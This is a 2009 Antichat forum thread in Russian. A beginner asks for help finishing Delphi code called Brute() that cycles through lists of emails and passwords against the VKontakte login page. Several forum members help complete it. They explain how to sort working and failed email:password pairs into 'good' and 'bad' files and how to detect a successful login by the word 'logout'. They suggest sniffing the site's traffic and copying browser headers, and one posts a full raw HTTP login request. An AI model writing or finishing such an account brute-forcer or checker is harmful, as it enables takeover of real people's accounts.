Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Авторизация в контакте[DELPHI] (https://forum.antichat.xyz/showthread.php?t=133818)

Ant1Player 09.08.2009 00:08

Авторизация в контакте[DELPHI]
 
Кому не трудно помогите начинающему програмисту :rolleyes: выложить тут исходник с этим кодом
P.S. Поступил на первый курс в техникум :D сайт не брошу ;)

PHP код:

procedure Brute();
var
  
emails:TStingList;  
  
pass:TStingList;   
  
post:TStingList;  
  
i,j:integer;         
begin
 email
:=TStringList.Createpass:=TStringList.Create;

  
http:=TidHTTP.Create(nil);      
  
http.HandleRedirects:=true;   
  
post:=tstringlist.Create;  
  for 
i:=0 to emails.Count-do begin  
    post
.Clear
    
post.Add('email='+emails.Strings[i]);  
    for 
j:=0 to pass.Count-do begin        
      post
.Add('pass='+pass.Strings[j]);     
      
result:=http.Post('/',post); 
      if 
pos('',result)>;0 then 
else
       
     
    
end;
  
end;
 
 
  
emails.Free;
  
pass.Free;
  
http.Free;
  
post.Free;
end

прост меня интересует код с then и else можно и на сокетах выложить...
P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else
(что делать если пасс пральны и что если не правильный)

ZdezBilYa 09.08.2009 00:37

не понятно.... а где вообще then? и что за запрос такой интересный со слешем?

аа... then нашел... ну прикольный код))

Jes 09.08.2009 00:44

Код:

  if pos('',result)>;0 then
else

hmm , а это что вообще такое ?

ZdezBilYa 09.08.2009 00:48

Цитата:

Сообщение от Jes
Код:

  if pos('',result)>;0 then
else

hmm , а это что вообще такое ?

видимо в этом и вопрос:
Цитата:

что делать если пасс пральны и что если не правильный
если пасс правильный - записывай в один файл, если нет - в другой

Ant1Player 09.08.2009 01:02

PHP код:

 procedure Brute(); 
var 
  
emails:TStingList;   
  
pass:TStingList;    
  
post:TStingList;   
  
i,j:integer;          
begin 
 email
:=TStringList.Createpass:=TStringList.Create

  
http:=TidHTTP.Create(nil);       
  
http.HandleRedirects:=true;    
  
post:=tstringlist.Create;   
  for 
i:=0 to emails.Count-do begin   
    post
.Clear;  
    
post.Add('email='+emails.Strings[i]);   
    for 
j:=0 to pass.Count-do begin         
      post
.Add('pass='+pass.Strings[j]);      
      
result:=http.Post('/',post);  
      if 
pos('',result)>;0 then  

///////
//тут будет код
///////

else 

///////
//и тут
//////
      
    
end
  
end
  
  
  
emails.Free
  
pass.Free
  
http.Free
  
post.Free
end

я вот хз как его дароботать шоб оно работало =))
странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник... :rolleyes:

ZdezBilYa 09.08.2009 03:06

ничего себе "доработать"...
если решил авторизовываться в контакте, то надо знать параметры запроса и адрес.
Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php".
После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так.

Компоненты Indy нужны. Есть в программе?

Ant1Player 09.08.2009 10:08

Что не так? останавливаетсяя на result
PHP код:

unit Unit1;

interface

uses
  Windows
MessagesSysUtilsVariantsClassesGraphicsControlsForms,
  
DialogsStdCtrlsIdBaseComponentIdComponentIdTCPConnection,
  
IdTCPClientIdHTTP;

type
  TForm1 
= class(TForm)
    
IdHTTP1TIdHTTP;
    
Button1TButton;
    
procedure Button1Click(SenderTObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(SenderTObject);
var
  
emails:TStringList;
  
pass:TStringList;
  
post:TStringList;

  
i,j:integer;
  
http:TidHTTP;
begin
 emails
:=TStringList.Create;
 
pass:=TStringList.Create;
 
emails.Add('****@mail.ru');
 
pass.Add('******');
  
http:=TidHTTP.Create(nil);
  
http.HandleRedirects:=true;
  
post:=tstringlist.Create;
  for 
i:=0 to emails.Count-do begin
    post
.Clear;
    
post.Add('email='+emails.Strings[i]);
    for 
j:=0 to pass.Count-do begin
      post
.Add('pass='+pass.Strings[j]);
      
result :=http.Post('http://vkontakte.ru/login.php',post);
      if 
pos('',result)>;0 then
      ShowMessage
('Не правильно ');

///////
//тут будет код
///////

else  
         
ShowMessage('правильно ');
/////// 
//и тут 
////// 
       
    
end;  
  
end;  
   
   
  
emails.Free;  
  
pass.Free;  
  
http.Free;  
  
post.Free;

end


ZdezBilYa 09.08.2009 10:51

Ошибка какая??
Возможно не хватает обязательных параметров. Посмотри снифером.
Возможно заголовки нужны

Ant1Player 09.08.2009 11:05

Build
[Error] Unit1.pas(49): Undeclared identifier: 'result'
[Error] Unit1.pas(50): Incompatible types
[Error] Unit1.pas(75): Statement expected but end of file found
[Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas'

49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);

ZdezBilYa 09.08.2009 11:25

result не определен как string.
+ pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа)
+ походу end не хватает после post.free

Ant1Player 09.08.2009 22:38

есть еще какаято ошибка всегда пишит правильно даже если не пральный логин с паролем...
только если правильно думает больше програма..
PHP код:

unit Unit1;

interface

uses
  Windows
MessagesSysUtilsVariantsClassesGraphicsControlsForms,
  
DialogsIdBaseComponentIdComponentIdTCPConnectionIdTCPClient,
  
IdHTTPStdCtrls;

type
  TForm1 
= class(TForm)
    
Button1TButton;
    
IdHTTP1TIdHTTP;
    
procedure Button1Click(SenderTObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(SenderTObject);
var 
  
emails:TStringList;
  
pass:TStringList
  
post:TStringList;
  
result:String;

  
i,j:integer;
  
http:TidHTTP;
begin 
 emails
:=TStringList.Create;
 
pass:=TStringList.Create;
 
emails.Add('2345@mail.ru');
 
pass.Add('23425');
  
http:=TidHTTP.Create(nil);
  
http.HandleRedirects:=true;
  
post:=tstringlist.Create;
  for 
i:=0 to emails.Count-do begin
    post
.Clear;
    
post.Add('email='+emails.Strings[i]);
    for 
j:=0 to pass.Count-do begin
      post
.Add('pass='+pass.Strings[j]);
      
result :=http.Post('http://vkontakte.ru/login.php',post);
      if 
pos('logout',result)>0
      then
      ShowMessage
('Не правильно ')


else
         
ShowMessage('правильно ')


    
end;
          
end;
            
emails.Free;
  
pass.Free;
  
http.Free;
  
post.Free;
       
end;



end


ZdezBilYa 09.08.2009 22:55

значит всё верно) ибо по программе как раз и получается, что если на странице есть слово "logout", то сообщение - "не правильно"
поменяй местами сообщения и потестируй на валидном и невалидном аккаунтах

mailbrush 09.08.2009 23:04

http://forum.antichat.ru/showpost.php?p=788789&postcount=11

Ant1Player 09.08.2009 23:08

Цитата:

Сообщение от ZdezBilYa
значит всё верно) ибо по программе как раз и получается, что если на странице есть слово "logout", то сообщение - "не правильно"
поменяй местами сообщения и потестируй на валидном и невалидном аккаунтах

Цитата:

всегда пишит правильно даже если не пральный логин с паролем...и даже если правильный..
mailbrush эт не то.. да и сокеты я пока не изучал..

mailbrush 09.08.2009 23:30

Инди не подходит для написания брутов. WinSock || WinInet - самое оно.

Ant1Player 09.08.2009 23:37

да мне и этот пойдет мне ведь сразу много не над мыло одновременно а чисто 2 поля под мыло и пасс булет..
прост надо разобраться с этим if pos('logout',result)>0
почему он всегда else выдает то...

ZdezBilYa 10.08.2009 01:36

Цитата:

Сообщение от Ant1Player
прост надо разобраться с этим if pos('logout',result)>0
почему он всегда else выдает то...

Возможно не хватает обязательных параметров.
Возможно заголовки нужны
Это снифером можно посмотреть

Gar|k 10.08.2009 13:31

Ant1Player не страдай херней.... De-visible и так все уже разжевал в министатейке.

Во первых заголовки HTTP должны быть правельные. User-Agent, Referer, Connection, Content-Type это все важно!

Во вторых данные в пост запросе имеют такой вид:
param1=value1&param2=value2\r\n\r\n

а как у тебя там в TStringList ? в какой кодировке? в ANSI в UNICODE? может там
param1=value1\nparam2=value2\n ?

В общем для "просто разобратся" тренеруйся на самописной форме...
скачай Denver установи и создай файл

Z:\home\localhost\www\post.php:
PHP код:

<?php
if(empty($_POST)) {
    echo 
"<form method=post><input type=text name=login> <input type=password name=pass></form>"; }
else {
    echo 
$_POST['login'].':'.$_POST['pass']; }
?>

и не мучай людям моск... удаче!

mr. ZetRikS 11.08.2009 14:18

Помоему на сокетах это состряпать проще буит, отснифав пакет когда логинишься на вконтакт... кинул бы линк на другой ресурс, но не хочу выглядеть рекламщиком других ресурсов...

PHP код:

'
        POST /login.php HTTP/1.1'
+#13#10+
        
'Host: vkontakte.ru'+#13#10+
        
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'+#13#10+
        
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+#13#10+
        
'Accept-Language: ru,en-us;q=0.7,en;q=0.3'+#13#10+
        
'Accept-Encoding: gzip,deflate'+#13#10+
        
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+#13#10+
        
'Keep-Alive: 300'+#13#10+
        
'Connection: keep-alive'+#13#10+
        
'Referer: http://vkontakte.ru/index.php'+#13#10+
        
'Cookie: remixlang=0; remixchk=5'+#13#10+
        
'Content-Type: application/x-www-form-urlencoded'+#13#10+
        
'Content-Length: 42'+#13#10+
        #13#10+
        
'email='+email+'&pass='+pass+
        
#13#10; 

создаёшь процедурку в которой спрашиваешь email и pass, которые походу меняешь если нуна, весь этот код присваиваешь перемеенной типа стринг и шлёшь...

А вообще и тут де то это уже обсуждалось, если мне память не изменяет... и гугл вроде является поисковой системой...


P.S. чекер or checker вконтакте

Chrome~ 12.08.2009 23:52

Цитата:

Сообщение от Gar|k
User-Agent, Referer, Connection, Content-Type это все важно!

Не во всех случаях. При GET запросе можно оставить, например, только значение поля Host, но это не рекомендуется делать в реальных проектах.

Цитата:

Сообщение от Gar|k
Во вторых данные в пост запросе имеют такой вид:
param1=value1&param2=value2\r\n\r\n

Ты ошибаешься: \r\n\r\n - лишние.

Chrome~ 12.08.2009 23:56

mr. ZetRikS, твой код неправильный. Во первых: в самом начале кода табуляция, во вторых: не должно быть #13#10 в конце запроса, и в третьих: не факт, что Content-Length всегда будет равняться 42.


Время: 19:38